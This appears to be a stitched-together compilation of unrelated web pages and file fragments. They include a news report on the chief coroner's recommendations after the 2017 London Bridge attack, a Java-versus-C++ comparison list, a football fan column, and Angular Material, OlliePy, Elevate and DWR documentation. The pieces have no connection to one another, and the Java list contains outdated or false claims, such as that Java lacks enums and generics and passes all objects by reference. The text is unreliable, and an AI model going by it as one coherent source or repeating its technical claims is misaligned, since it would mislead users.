UK must review possible terror targets, chief coroner says
The government should review how public spaces are assessed as possible terrorism targets in the wake of the London Bridge attack, the chief coroner for England and Wales has said.
Eight people were killed in 2017 when three men drove into pedestrians on the bridge before stabbing others nearby.
Judge Mark Lucraft said the system for triggering extra security measures was "too rigid".
Families of the victims welcomed his "extensive" report.
The chief coroner's report into preventing future deaths also called on the government to consider criminalising "possession of the most serious material glorifying or encouraging terrorism".
He said the current law meant it might be impossible for police or MI5 to act even when "the material is of the most offensive and shocking character".
Judge Lucraft made 18 recommendations in total.
The attack began when Khuram Butt and two other men drove a rented van across London Bridge, striking pedestrians and killing the first two victims, Xavier Thomas and Christine Archibald.
There were no barriers on the bridge preventing the van from mounting the pavement, despite some concerns among experts that it could become a target.
After the attack, barriers were installed.
In his formal report, Judge Lucraft said: "The national criteria for identifying sites which would receive proactive advice were apparently too rigid."
He also said the home secretary needed some form of regular review of the list of vulnerable sites.
Public authorities such as councils may also need to be put under a legal duty to review open and crowded spaces to minimise the risks of a fatal attack.
The hypothetical new law that would criminalise possession of terrorism material could make it illegal to have a copy of the video that was live-streamed by the far-right killer who shot dead 51 worshippers at a mosque in Christchurch, New Zealand.
But other examples may be more difficult to explicitly list - not least because the government has struggled and failed to come up with a clear legal definition of extremism.
Would a law be able to outlaw the mere watching of a sermon from a terror group leader, even if the lecture does not in itself encourage violence?
The chief coroner says the answer may lie in how Parliament has successfully banned the possession of extreme pornography that depicts violence and abuse.
In that case, the law carefully sets out the harm MPs want to prevent.
'Extremist propaganda'
The chief coroner also concluded that there was a significant gap in the law - highlighted by the fact that the ringleader Butt had a vast amount of extremist material on his phone but had not been charged with a crime.
"While there are offences of possessing a document likely to be useful to a person in committing an act of terrorism, and of disseminating terrorist publications, there is no offence of possessing terrorist or extremist propaganda material," he said.
The Old Bailey inquest heard that, in the months and years before the attack, Butt had viewed propaganda for the Islamic State group, violent images and sermons from extremist preachers.
Judge Lucraft suggested new laws could be introduced to tackle the prevalence of extremist material in the same way legislation has criminalised the most offensive pornography.
MI5 recommendations
The inquests heard that Butt had been investigated by MI5 as a "subject of interest" - meaning he was one of the 3,000 suspects the security service was most concerned about.
The security service had been investigating Butt since 2015, but suspended its investigation on two occasions because of more pressing priorities. The latter suspension, for six weeks, concluded just a month before the attack.
"Although MI5 must be able to prioritise and divert resources at times of greatest demand, the suspension of priority investigations is a matter of legitimate public concern," concluded Judge Lucraft.
He recommended that security services should consider whether to scale back rather than suspend work.
'Battlefield medicine'
He said the emergency services should be more flexible during a marauding terrorist attack about how they allow paramedics and ambulance staff into zones considered to be dangerous - and that some police officers should receive advanced medical training analogous to "battlefield medicine".
He also called on ministers and industry to consider a means of instantly reporting the rental of a vehicle to the security services so that it can be checked against known suspects.
'Chaos and killings: 10 minutes at London Bridge'
It's 10.07pm and the sun has gone down on a warm summer's night in London.
Helen Boniface, from solicitors firm Hogan Lovells, who represented six families in the inquest, said: "We are pleased the chief coroner has recognised the risks presented by hateful extremism and terrorist propaganda, possession of which must be taken seriously, and the ease by which large vehicles may be hired by terrorist suspects.
"The response on the night by many was commendable, especially members of the public who stayed to assist.
"But failings and delays were also seen and the coroner identifies this through his report.
"The emergency medical response to those who died in the Boro Bistro area remains disappointing to our clients, with no London Ambulance Service personnel entering this area until many hours after the attack."
The home secretary must respond to the report by 10 January 2020, setting out details of action taken or proposed, or why no action will be taken.


Political Science ‘21
Economics ‘20
Political Science and History ‘21
Philosophy ‘21
International Comparative Studies 21’
Program II ‘20


-
Java does not support typedefs, defines, or a preprocessor.
-
Java does not support enums but does support named constants through use of the final keyword.
-
Java supports classes, but does not support structures or unions.
-
There are no stand-alone functions in Java, all function or method definitions in Java are contained within the class definition.
-
All classes in Java ultimately inherit from the Object class. This is significantly different from C++ where it is possible to create inheritance trees that are completely unrelated to one another.
-
Both C++ and Java support class (static) methods or functions that can be called without the requirement to instantiate an object of the class.
-
Java does not support multiple inheritance, while the interface concept is not supported by C++.
-
Java does not support the goto statement (but goto is a reserved word). However, it does support labeled break and continue statements, a feature not supported by C++.
-
Java does not support operator overloading.
-
Java does not support automatic type conversions (except where guaranteed safe).
-
Unlike C++, Java provides true arrays as first-class objects, true boolean type and has a String type.
-
Java does not support pointers(at least it does not allow you to modify the address contained in a pointer or to perform pointer arithmetic).
-
A class definition in Java looks similar to a class definition in C++, but there is no closing semicolon. Also forward reference declarations that are sometimes required in C++ are not required in Java.
-
The scope resolution operator (::) required in C++ is not used in Java.
-
In C++, static data members and functions are called using the name of the class and the name of the static member connected by the scope resolution operator. In Java, the dot is used for this purpose.
-
Like C++, Java has primitive types such as int, float, etc. Unlike C++, the size of each primitive type is the same regardless of the platform. There is no unsigned integer type in Java. Type checking and type requirements are much tighter in Java than in C++.
-
Conditional expressions in Java must evaluate to boolean rather than to integer, as is the case in C++.
-
The char type in C++ is an 8-bit type that maps to the ASCII (or extended ASCII) character set. The char type in Java is a 16-bit type and uses the Unicode character set
-
Unlike C++, the » operator in Java is a “signed” right bit shift, inserting the sign bit into the vacated bit position. Java adds an operator that inserts zeros into the vacated bit positions.
-
C++ allows the instantiation of variables or objects of all types either at compile time in static memory or at run time using dynamic memory. However, Java requires all variables of primitive types to be instantiated at compile time, and requires all objects to be instantiated in dynamic memory at runtime. Wrapper classes are provided for all primitive types except byte and short to allow them to be instantiated as objects in dynamic memory at runtime if needed.
-
C++ requires that classes and functions be declared before they are used. This is not necessary in Java.
-
The “namespace” issues prevalent in C++ are handled in Java by including everything in a class, and collecting classes into packages.
-
In C++, unless you specifically initialize variables of primitive types, they will contain garbage. Although local variables of primitive types can be initialized in the declaration, primitive data members of a class cannot be initialized in the class definition in C++.
-
Like C++, Java supports constructors that may be overloaded.
-
All objects in Java are passed by reference, eliminating the need for the copy constructor used in C++.
-
There are no destructors in Java.
-
Like C++, Java allows you to overload functions. However, default arguments are not supported by Java.
-
Unlike C++, Java does not support templates. Thus, there are no generic functions or classes.
-
Unlike C++, several “data structure” classes are contained in the “standard” version of Java.
-
Multithreading is a standard feature of the Java language.
-
Although Java uses the same keywords as C++ for access control: private, public, and protected, the interpretation of these keywords is significantly different between Java and C++.
-
There is no virtual keyword in Java. All non-static methods always use dynamic binding, so the virtual keyword isn’t needed for the same purpose that it is used in C++.
-
Java provides the final keyword that can be used to specify that a method cannot be overridden and that it can be statically bound. (The compiler may elect to make it inline in this case.)
-
The detailed implementation of the exception handling system in Java is significantly different from that in C++.
-
As in C++, Java applications can call functions written in another language.
-
Unlike C++, Java has built-in support for program documentation.


Mike Bacon on the Blues: I'd take an FA Cup defeat all day long if we could win our next two league games
by Mike BaconIn his weekly column, MIKE BACON wonders if these games in hand are good news or not for the Super Blues. But why worry for goodness sake?
OK, Town fans. What's best, points on the board, or games in hand?
Right here, right now, I know what I'd rather have.
I don't mind games in hand when you're top of the pile and looking down on everyone else. It's a good feeling. A sort of, 'where did that tenner in my wallet come from?' feeling.
But the trouble is, the Super Blues aren't top. And we have been used to being so.
Flippin', blinkin' Wycombe keep winning, Coventry, Blackpool and Peterborough show few signs of going anywhere other than staying in the play-offs.
It's making our two games in hand far less appealing than they looked a few weeks ago. Yep, I'd rather have another six points on the board and be top by three than have these two games in hand.
There is now a tad of pressure to win them.
Did I say pressure! Where did that word come from?
All these international breaks, that's the problem. Momentum all over the place, EFL Group games, FA Cup replays.
For the first time in a decade most of us would yes, love to win at Lincoln on Wednesday in the FA Cup, but take defeat all day long if it guaranteed wins in our next two league games - at home to Blackpool and Wycombe.
We want to win the League! That's all!
Can't the rest of League One just leave us alone?...
...TROUBLE with me is I'm too much of a glass half-empty sort of bloke. If I can find something to worry about, I'll find it.
If I think there might - just might - be some bad news around the corner, I'll go searching for it. And football is right up there in the mindset.

But I shouldn't worry.
Everyone keeps saying Town have the strongest squad in the Championship. We have the best fans and in Lambo a manager who has been there and done it all before.
Time for me to be a bit more positive.
Come on, let's be honest, if Chambo and the boys beat Blackpool on Saturday and Wycombe next Tuesday, everything will be not just rosy, but 'I'm a Celeb Get Me Out of Here', rosy.
In fact, it will be so rosy, I'll tell you this now. If we're top by three points going into Black Friday, I'll have my chequebook open, my giggle shoes on, ready to treat myself to some Sauvage aftershave and a Bosch EasyCut 12 Cordless Nano Blade Saw (31% off, folks) - to trim my back passage - the hedge there has become far too overgrown.
Yep, it's a big week ahead.
Pass those goal celebrations over here Jackson lad.
NEW KINGS OF ANGLIA MAGAZINE ORDER HERE
LOOKS like a full house from the Bristol for the Blackpool game this weekend - well almost.
With time off work for getting to Lincoln proving a headache for many, Saturday's game at home to the Tangerines is being eagerly anticipated.
Logistical manoeuvres are well under way, from meeting time in pub, to Fan Zone arrival, placing bets and getting in the pies!
At time of writing only one person is a doubt - Milky.
He has a new girlfriend after his lottery ticket fiasco saw him and Sheena split - and he's smitten again. But Roxanne hates football.
"We're going fishing at Needham Lake on Saturday afternoon," he announced, as he flicked his wrists in a 'casting a fishing line' motion.
We all cracked up.
"You won't be laughing when me and Roxy are tucking into our lovely, freshly caught, cod and chips on Saturday night," he continued.
No-one bothered....
UP THE TOWN!


|
Photosynthesis in green plants and specialized bacteria is the process of utilizing light energy to synthesize organic compounds from carbon dioxide and water. It consists of the light dependent part (light reaction) and the light independent part (dark reaction, carbon fixation). The light reaction takes place in thylakoid, a membrane-bound compartment inside chloroplasts and cyanobacteria. The light energy is used by photosystems I and II to generate proton motive force and reducing power (NADPH or NADH). The proton motive force is used by ATP synthase to generate ATP, essentially in the same way as the mitochondrial respiratory chain. The supplies of ATP and NAD(P)H are then used to fix carbon dioxide. |


PIONEER
See more Pioneer DDJ-T1 DJ Controller store item at Pioneer Dj.
201 reviews
The best product in dj hardwear and software in the world with retinabox
882 reviews
With builtin hd audio interface for better productivity
331 reviews
Powerfull Subwoofer with the laterst hd sound over 3850 warts
555 reviews
This is the serato built pioneer controler the ddjZX.
12 reviews
for more check out shop onOnline store!


Reports situations where a module name contradicts Java Platform Module System recommendations. One of the
recommendations
is to avoid using digits at the end of module names.
Example of unconventional naming:
module foo1.bar2 {}


Typography is a way of arranging type to make text legible, readable, and appealing when displayed.
Angular Material's typography is based on the guidelines from the Material Design spec and is
arranged into typography levels. Each level has a font-size
, line-height
and font-weight
. The
available levels are:
| Name | CSS classes | Description |
|---|---|---|
display-4 |
.mat-display-4 |
Large, one-off header, usually at the top of the page (e.g. a hero header). |
display-3 |
.mat-display-3 |
Large, one-off header, usually at the top of the page (e.g. a hero header). |
display-2 |
.mat-display-2 |
Large, one-off header, usually at the top of the page (e.g. a hero header). |
display-1 |
.mat-display-1 |
Large, one-off header, usually at the top of the page (e.g. a hero header). |
headline |
.mat-h1 , .mat-headline |
Section heading corresponding to the
 tag. |
title |
.mat-h2 , .mat-title |
Section heading corresponding to the
 tag. |
subheading-2 |
.mat-h3 , .mat-subheading-2 |
Section heading corresponding to the
 tag. |
subheading-1 |
.mat-h4 , .mat-subheading-1 |
Section heading corresponding to the
 tag. |
body-1 |
.mat-body , .mat-body-1 |
Base body text. |
body-2 |
.mat-body-strong , .mat-body-2 |
Bolder body text. |
caption |
.mat-small , .mat-caption |
Smaller body and hint text. |
button |
None. Used only in components. | Buttons and anchors. |
input |
None. Used only in components. | Form input fields. |
The typography levels are collected into a typography config which is used to generate the CSS.
To get started, you first include the Roboto
font with the 300, 400 and 500 weights.
You can host it yourself or include it from Google Fonts:
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500&display=swap" rel="stylesheet">
Now you can add the appropriate CSS classes to the elements that you want to style:

Jackdaws love my big sphinx of quartz.

The quick brown fox jumps over the lazy dog.

By default, Angular Material doesn't apply any global CSS. To apply the library's typographic styles
more broadly, you can take advantage of the mat-typography
CSS class. This class will style all
descendant native elements.

This header is unstyled

This header will be styled

Typography customization is an extension of Angular Material's Sass-based theming. Similar to creating a custom theme, you can create a custom typography configuration.
@import '~@angular/material/theming';
// Define a custom typography config that overrides the font-family as well as the
// `headlines` and `body-1` levels.
$custom-typography-theme: (
typography: mat-typography-config(
$font-family: 'Roboto, monospace',
$headline: mat-typography-level(32px, 48px, 700),
$body-1: mat-typography-level(16px, 24px, 500)
)
);
As the above example demonstrates, a typography configuration is created by using the
mat-typography-config
function, which is given both the font-family and the set of typographic
levels described earlier. Each typographic level is defined by the mat-typography-level
function,
which requires a font-size
, line-height
, and font-weight
. Note that the font-family
has to be in quotes.
Once the custom typography definition is created, it can be consumed to generate styles via different Sass mixins.
// Override typography CSS classes (e.g., mat-h1, mat-display-1, mat-typography, etc.).
@include mat-base-typography($custom-typography-theme);
// Override typography for a specific Angular Material components.
@include mat-checkbox-typography($custom-typography-theme);
// Override typography for all Angular Material, including mat-base-typography and all components.
@include angular-material-typography($custom-typography-theme);
If you're using Material's theming, you can also pass in your typography config to the
mat-core
mixin:
// Override the typography in the core CSS.
@include mat-core($custom-typography-theme);
For more details about the typography functions and default config, see the source.
Angular Material includes typography utility mixins and functions that you can use to customize your own components:
mat-font-size($config, $level)
- Gets the font-size
, based on the provided config and level.mat-font-family($config)
- Gets the font-family
, based on the provided config.mat-line-height($config, $level)
- Gets the line-height
, based on the provided
config and level.mat-font-weight($config, $level)
- Gets the font-weight
, based on the provided
config and level.mat-typography-level-to-styles($config, $level)
- Mixin that takes in a configuration object
and a typography level, and outputs a short-hand CSS font
declaration.@import '~@angular/material/theming';
// Create a config with the default typography levels.
$config: mat-typography-config();
// Custom header that uses only the Material `font-size` and `font-family`.
.unicorn-header {
font-size: mat-font-size($config, headline);
font-family: mat-font-family($config);
}
// Custom title that uses all of the typography styles from the `title` level.
.unicorn-title {
@include mat-typography-level-to-styles($config, title);
}


I am a business analyst currently attending the Northwestern Coding Bootcamp toward certification as a Full Stack Web Developer. Seeking opportunities for new projects!
As a business analyst at Northwestern University, I specialize in workflow management, production and development support, and project management services.
Contact me for interest in my existing bootcamp projects or inquiries regarding new project requests. Find me on LinkedIn and GitHub. Resume here.


This is an example of Custom Element chart partial pie series. You can see how to enable labels on the lines of the pie chart and how to set the angles of the labels. You can also see how to enable toggle of the pie chart series.


{% extends 'login/base3.html' %}
{% load staticfiles %}
{% block content %}
Email Sent
We've emailed you instructions for setting your password, if an account exists with the email you've entered.
You should receive the instructions shortly.
If you don't receive an email, please make sure you've entered the email address you registered with, at LADA
and check your spam folder.
{% endblock %}


Welcome to Résumé Nation. Your one stop shop to create all the beautiful Résumés.
Building a Résumé should be fun, simple and intuitive. Résumé Nation tries to give that overall experience.
Fill in the required information like your personal info, work experience, education, skills, choose the style
of the Résumé you want and voilà! you'll have your beautiful Résumé as an end product. Try yourself!
Start building your Resume now ➔
list
Fill in the required details.
create
Review all your changes.
file_download
Download your generated Resume.
offline_pin
Works Offline! All data get stored locally for next time usage.


Part of elita.dataservice View In Hierarchy
| Method | GetBuilds | Get all builds for application. |
| Method | NewBuild | Create new build document |
| Method | AddPackages | Add new packages fields to existing build. Regenerate legacy 'files' field (which is a flat array of files associated with build |
| Method | UpdateBuild | Update build with doc (JSON Patch or keys to update). |
| Method | DeleteBuildStorage | Delete all stored files associated with build. |
| Method | DeleteBuild | Delete build object, root_tree reference and all stored files. |
| Method | GetBuild | Get build document |
Inherited from GenericChildDataService:
| Method | __init__ | No summary |
| Method | populate_dependencies | Child dataservice classes may need to access methods of siblings. This allows parent dataservice to inject cross dependencies as needed without generating a big reference cycle. |
| Method | NewContainer | Create new container object suitable for a root_tree reference |
| Method | UpdateObjectFromPatch | Generic method to update an object (document) with a JSON Patch document |
| Method | UpdateObject | Generic method to update a particular object (document) with the data in doc |
| Method | AddThreadLocalRootTree | Add new node to thread-local root_tree (copy from mongo's root_tree) |
| Method | RmThreadLocalRootTree | Remove deleted node from thread-local root_tree |
Get all builds for application.
When getting a list of all objects of a given type, the convention is to pull from in-memory root_tree instead of directly from mongo. This keeps it fast so we can do it frequently for things like parameter validation, etc
Add new packages fields to existing build. Regenerate legacy 'files' field (which is a flat array of files associated with build


Repairs and Maintenance
Repairs and Maintenance
Add
Engine
Mileage
Gear Box
Back Axle
Steering
Remarks
Mileage
Engine
Gear Box
Back Axle
Steering
Remarks


Mandor Mountains [av28], mountain, in Mandoria, peasants: 125
Last updated Turn #121
Mandor Mountains [av28], mountain, in Mandoria, peasants: 125
------------------------------------------------------------------------
0: Garrison [dr9p], garrison, uncontrolled, with ten peasants guards
0: Mandor Mountains [av28].
6: Gaelena [f2z], refugee, arrived from the south.
9: Gaelena [f2z], refugee, went north.
16: It has become quite foggy.
30: The population grows by one peasant.
Routes leaving Mandor Mountains:
North, mountain, to Mandor Mountains [au28], 10 days
East, mountain, to Mandor Mountains [av29], 10 days
Garrison [jq2j], garrison, uncontrolled, with seven peasants,
one soldier
South, mountain, to Mandor Mountains [aw28], 10 days
West, mountain, to Mandor Mountains [av27], 10 days
Garrison [dy5b], garrison, uncontrolled, with six peasants
Inner locations:
An Orc Stronghold [r07], orc-stronghold, defense 25, owner:
Stack of orcs [dl3j], orcs, number: 251
It is windy.
The province is blanketed in fog.
No one can be seen through the fog.


Error analysis report for regression¶
Follow the following steps in order to generate the report.
1- Import the RegressionErrorAnalysisReport class from OlliePy
from olliepy import RegressionErrorAnalysisReport
2- Calculate the error for the training data after fitting the ML model.
y_train_pred = pipeline.predict(X_train)
train_df['error'] = y_train_pred - y_train
3- Calculate the error for the test/validation data
y_test_pred = pipeline.predict(X_test)
test_df['error'] = y_test_pred - y_test
4- Plot the test/validation error distribution
test_df['error'].hist(bins=100)
5- Create the error classes dictionary using the error distribution, where the key is the name of the error class, and the value is the min (inclusive) and max (exclusive) error of the class as a tuple.
error_classes = {
'EXTREME_UNDER_ESTIMATION': (-8.0, -4.0),
'HIGH_UNDER_ESTIMATION': (-4.0, -3.0),
'MEDIUM_UNDER_ESTIMATION': (-3.0, -1.0),
'LOW_UNDER_ESTIMATION': (-1.0, -0.5),
'ACCEPTABLE': (-0.5, 0.5),
'OVER_ESTIMATING': (0.5, 3.0)
}
7- Select the numerical and categorical features that you would like to include in the report
categorical_features = ['gender']
numerical_features = ['weight', 'height']
8- Create the report like the following example. Both the train and test/validation data frames should have the error and target columns.
report = RegressionErrorAnalysisReport(
train_df=train_df,
test_df=test_df,
target_feature_name='BMI',
error_column_name='error',
error_classes=error_classes,
acceptable_error_class='ACCEPTABLE',
numerical_features=numerical_features,
categorical_features=categorical_features,
title='BMI Regression Report',
subtitle='BMI distribution shift',
output_directory='.',
report_folder_name='BMI_REPORT',
generate_encryption_secret=False)
report.create_report()
9- View the report using one of the following methods
Using a local server
report.serve_report_from_local_server(mode='server')
Save then view the report locally using the index.html file in the report folder
report.save_report(zip_report=True)


Post with Figure
Examples and code for displaying images in posts.
This is a post that uses a figure
. It stacks these images and places a nice little caption below if you fill out figcaption
.
Single Image Figure
1

2
3
Caption describing these two images.

4


Copyright © 2010 by Bill Stewart
These programs may be used freely in any environment without payment to the author, with the following conditions:
These programs are distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
Starting in Windows Vista and later, Microsoft introduced a new technology into the Windows operating system called User Account Control (UAC). The purpose of UAC is to make it easier for programmers to develop software to run with limited user accounts (LUA), and to make it easier for end users to log on with a limited account as well. One of UAC's behaviors is to disable the Administrators group token when logging on using an administrative account. In other words, when UAC is enabled, logging on as an administrator has the same effect as logging on with a limited account. You are still a member of the Administrators group, but your administrative privileges are disabled.
When you attempt to perform an administrative task that a limited account cannot perform, Windows will request elevation. If you are a member of the Administrators group, Windows will prompt you for permission to continue. If you grant permission, Windows will run the program you specify, but with the Administrators group token enabled. If you are not a member of Administrators, Windows will prompt for administrative credentials. If you enter valid administrative credentials, Windows will run the specified program with the administrative credentials you specify. A program running with full administrative credentials is said to be running elevated. Prior to UAC, logging on as a member of Administrators meant that all processes you started ran elevated. (This is also the case if you disable UAC, which is not recommended.)
Windows provides a way to run an arbitrary program elevated by right-clicking on the program and then choosing the Run as administrator option. However, there is currently no command-line equivalent for requesting program elevation. This is the purpose of the Elevate program (Elevate32.exe and Elevate64.exe). The Elevate program requests elevation for a program that you type on its command line.
Savvy readers already know that Aaron Margosis provided an Elevate.js script on his Non-admin blog, but Elevate32.exe (and Elevate64.exe) has one distinct advantage: It can wait for the program to complete and return its exit code. This is useful in scripts where you want to run a program elevated and wait for it to complete. It can also specify the program's initial window state (e.g., minimized or hidden), which may be useful in some cases.
The IsElevated program (IsElevated32.exe and IsElevated64.exe) tests whether the current program is elevated and returns an exit code of 0 if the program is not elevated, or 1 if the program is running elevated. Scripts can use IsElevated to check for elevation before performing tasks that require elevation.
Use Elevate32.exe on 32-bit Windows platforms and Elevate64.exe on 64-bit Windows platforms. Elevate32.exe runs on x64 Windows, but keep in mind that it runs in the SysWOW64 compatibility subsystem.
Elevate32 [-s n] [-d dir] [-w] [-q] -- program [parameters [...]]
Important! All command-line arguments must appear before the program name on the command line.
If you use the -w argument, Elevate will wait for the program to complete and exit with the program's exit code. If you cancel the elevation prompt, Elevate will return an exit code of 1223 (ERROR_CANCELLED).
Elevate works on Windows 2000 and later, but if you use it on Windows versions earlier than Vista, it will display the "Run as" dialog instead. If you use it on Windows Vista or later with UAC disabled (not recommended), Elevate will simply run the program and it will not prompt for confirmation or credentials.
| Value | Windows API Constant* | Description |
|---|---|---|
| 0 | SW_HIDE | Hides the window and activates another window. |
| 1 | SW_SHOWNORMAL | Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time. |
| 2 | SW_SHOWMINIMIZED | Activates the window and displays it as a minimized window. |
| 3 | SW_SHOWMAXIMIZED | Activates the window and displays it as a maximized window. |
| 4 | SW_SHOWNOACTIVATE | Displays a window in its most recent size and position. The active window remains active. |
| 5 | SW_SHOW | Activates the window and displays it in its current size and position. |
| 6 | SW_MINIMIZE | Minimizes the specified window and activates the next top-level window. |
| 7 | SW_SHOWMINNOACTIVE | Displays the window as a minimized window. The active window remains active. |
| 8 | SW_SHOWNA | Displays the window in its current state. The active window remains active. |
| 9 | SW_RESTORE | Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window. |
| 10 | SW_SHOWDEFAULT | Sets the show-state based on the state of the program that started the application. |
| *These names are for reference only. The -s argument requires a number for its parameter. |
IsElevated32.exe is for 32-bit Windows platforms and works on 64-bit platforms as well. IsElevated64.exe is included for completeness. IsElevated returns an exit code of 0 if the current program is not elevated, or 1 if the current program is elevated.
IsElevated32 [-q]
For those aware of my Windows Admin Script Tools package, IsElevated is a GUI version of the IsAdmin.exe tool.
Elevate uses the ShellExecuteEx Windows API with the runas verb.
IsElevated tests whether the security token for the current process contains the Administrators group (the SID S-1-5-32-544), and then it tests whether the group is enabled.
Note that the Elevate and IsElevated programs are not needed in Windows PowerShell since PowerShell can use .NET objects to start processes elevated and test whether the current process is elevated.
See the TestElevation.vbs and TestElevation.cmd scripts for examples of how to use the programs in scripts.
1.0 (21 Apr 2010)


This app is for showing a basic project layout of a express 4x + angular 1.3 app, including 2 todo samples.
The test is supported by Mocha and Zombie. Because Zombie 4.x doesn' support Node any more, this project uses Zombie 3.1.1.


{% extends "layout.html" %} {% block content %}
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this program. If not, see here.


Documentation¶
FlyEye Analysis is organized into several complementary submodules:
Data. Manage and query expression data
Processing. Convert measurements to timepoints
Dynamics. Analyze and visualize expression dynamics
Analysis. Detect and quantify spatial expression patterns
Please select a submodule for a detailed descriptions of its implementation.


{% extends "bucket_list/base.html" %} {% block content %}
You can add your tasks and goals to your bucket by simply writing it into the section provided at your homepage.


{% extends "contest.html" %} {% block Imports %} {% end %} {% block Body %}
Name
Description
Contest type
Submission download allowed
Allow questions
Allow user tests
Allowed IP
Contest Max Submissions
Contest Max User Tests
Contest Consecutive Submission Delay
Contest Consecutive User Test Delay


|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |
See:
Description
| Interface Summary | |
|---|---|
| ActionBarDrawerToggle.Delegate | |
| ActionBarDrawerToggle.DelegateProvider | Allows an implementing Activity to return an ActionBarDrawerToggle.Delegate to use
with ActionBarDrawerToggle. |
| FragmentManager.BackStackEntry | Representation of an entry on the fragment back stack, as created
with FragmentTransaction.addToBackStack() . |
| FragmentManager.OnBackStackChangedListener | Interface to watch for changes to the back stack. |
| LoaderManager.LoaderCallbacks<D> | Callback interface for a client to interact with the manager. |
| TaskStackBuilder.SupportParentable |
| Class Summary | |
|---|---|
| ActionBarDrawerToggle | This class provides a handy way to tie together the functionality of
DrawerLayout and the framework ActionBar to implement the recommended
design for navigation drawers. |
| ActivityCompat | Helper for accessing features in android.app.Activity
introduced after API level 4 in a backwards compatible fashion. |
| ActivityOptionsCompat | Helper for accessing features in android.app.ActivityOptions
introduced in API level 16 in a backwards compatible fashion. |
| DialogFragment | Static library support version of the framework's android.app.DialogFragment . |
| Fragment | Static library support version of the framework's android.app.Fragment . |
| Fragment.SavedState | State information that has been retrieved from a fragment instance
through FragmentManager.saveFragmentInstanceState . |
| FragmentActivity | Base class for activities that want to use the support-based
Fragment and
Loader APIs. |
| FragmentManager | Static library support version of the framework's android.app.FragmentManager . |
| FragmentPagerAdapter | Implementation of PagerAdapter that
represents each page as a Fragment that is persistently
kept in the fragment manager as long as the user can return to the page. |
| FragmentStatePagerAdapter | Implementation of PagerAdapter that
uses a Fragment to manage each page. |
| FragmentTabHost | Special TabHost that allows the use of Fragment objects for
its tab content. |
| FragmentTransaction | Static library support version of the framework's android.app.FragmentTransaction . |
| ListFragment | Static library support version of the framework's android.app.ListFragment . |
| LoaderManager | Static library support version of the framework's android.app.LoaderManager . |
| NavUtils | NavUtils provides helper functionality for applications implementing recommended Android UI navigation patterns. |
| NotificationCompat | Helper for accessing features in android.app.Notification
introduced after API level 4 in a backwards compatible fashion. |
| NotificationCompat.Action | |
| NotificationCompat.BigPictureStyle | Helper class for generating large-format notifications that include a large image attachment. |
| NotificationCompat.BigTextStyle | Helper class for generating large-format notifications that include a lot of text. |
| NotificationCompat.Builder | Builder class for NotificationCompat objects. |
| NotificationCompat.InboxStyle | Helper class for generating large-format notifications that include a list of (up to 5) strings. |
| NotificationCompat.Style | An object that can apply a rich notification style to a Notification.Builder
object. |
| ServiceCompat | Helper for accessing features in android.app.Service
introduced after API level 4 in a backwards compatible fashion. |
| ShareCompat | Extra helper functionality for sharing data between activities. |
| ShareCompat.IntentBuilder | IntentBuilder is a helper for constructing Intent#ACTION_SEND and
Intent#ACTION_SEND_MULTIPLE sharing intents and starting activities
to share content. |
| ShareCompat.IntentReader | IntentReader is a helper for reading the data contained within a sharing (ACTION_SEND) Intent. |
| TaskStackBuilder | Utility class for constructing synthetic back stacks for cross-task navigation on Android 3.0 and newer. |
| Exception Summary | |
|---|---|
| Fragment.InstantiationException | Thrown by Fragment.instantiate(Context, String, Bundle) when
there is an instantiation failure. |
Support android.app classes to assist with development of applications for
android API level 4 or later. The main features here are backwards-compatible
versions of FragmentManager
and
LoaderManager
.
|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |


Need Some Help Navigating The Website
This website was created over a week of confusing and frustrating work. Many things looked correct in code but suddenly never showed up in the website. There are going to be many links that go along with this website that are listed down below. know this a very empy page but please doeal with it. I'm just here to write code. Not to be the greatest writer. By the way the dropmenu took FOREVER to work 😉. I hope you enjoy - Cadie Kulnane
Content


Gecko freaks out when encountering <embed tabindex="0"> in a bad way: Tab andShift Tab will not focus the next/previous keyboard focusable element - the activeElement is stuck.
<embed tabindex="0">


nodeplayer listener
Note: run this app in a separate browser window to prevent music playback from stopping!


There are a number of options on how remoting is handled by DWR, the method and verb should be transparent to the user, but might have different browser side-effects. Generally speaking DWR will pick the right method for you, but these options might be useful to get around unwanted browser side effects.
Supported by DWR 1.1 and above.
Do we ask the XHR object to be asynchronous? The default is true. Warning: This option will be ignored if you are using IFrame or ScriptTag remoting (see below) and is often generally a bad idea to change it to false because it can make your browser slow to respond.
To set the synchronisity on a global level:
dwr.engine.setAsync(true);
Or to set it on a call level:
Remote.method(params, { callback:function(data) { ... }, async:true });
Or to set it on a batch level:
dwr.engine.beginBatch(); Remote.method1(params, callback1); Remote.method2(params, callback2); dwr.engine.endBatch({ async:true });
Set the preferred remoting method. setRpcType()
does not guarantee that the selected method will be used, just that we will try that method first.
newmethod
must be one of dwr.engine.XMLHttpRequest
or dwr.engine.IFrame
, or, from 2.0 onwards you can also use dwr.engine.ScriptTag
. In DWR 1.0 this was called setMethod()
.
In version 3.0 (under development) this option is likely to be removed because the number of cases where DWR would override this setting was increasing and it was felt that it was giving the impression that it was more than just a hint. If you have reasons to need to set this manually, please contact the DWR mailing list.
XMLHttpRequest is the default and will work in most cases. IFrame is useful when ActiveX is turned off, although DWR will work this out and automatically switch to IFrame mode for you. ScriptTag is useful if you wish to get around cross-domain restrictions.
For example, to set the remoting method on a global level:
dwr.engine.setRpcType(dwr.engine.IFrame);
Or to set it on a call level:
Remote.method(params, { callback:function(data) { ... }, rpcType:dwr.engine.IFrame });
Or to set it on a batch level:
dwr.engine.beginBatch(); Remote.method1(params, callback1); Remote.method2(params, callback2); dwr.engine.endBatch({ rpcType:dwr.engine.IFrame });
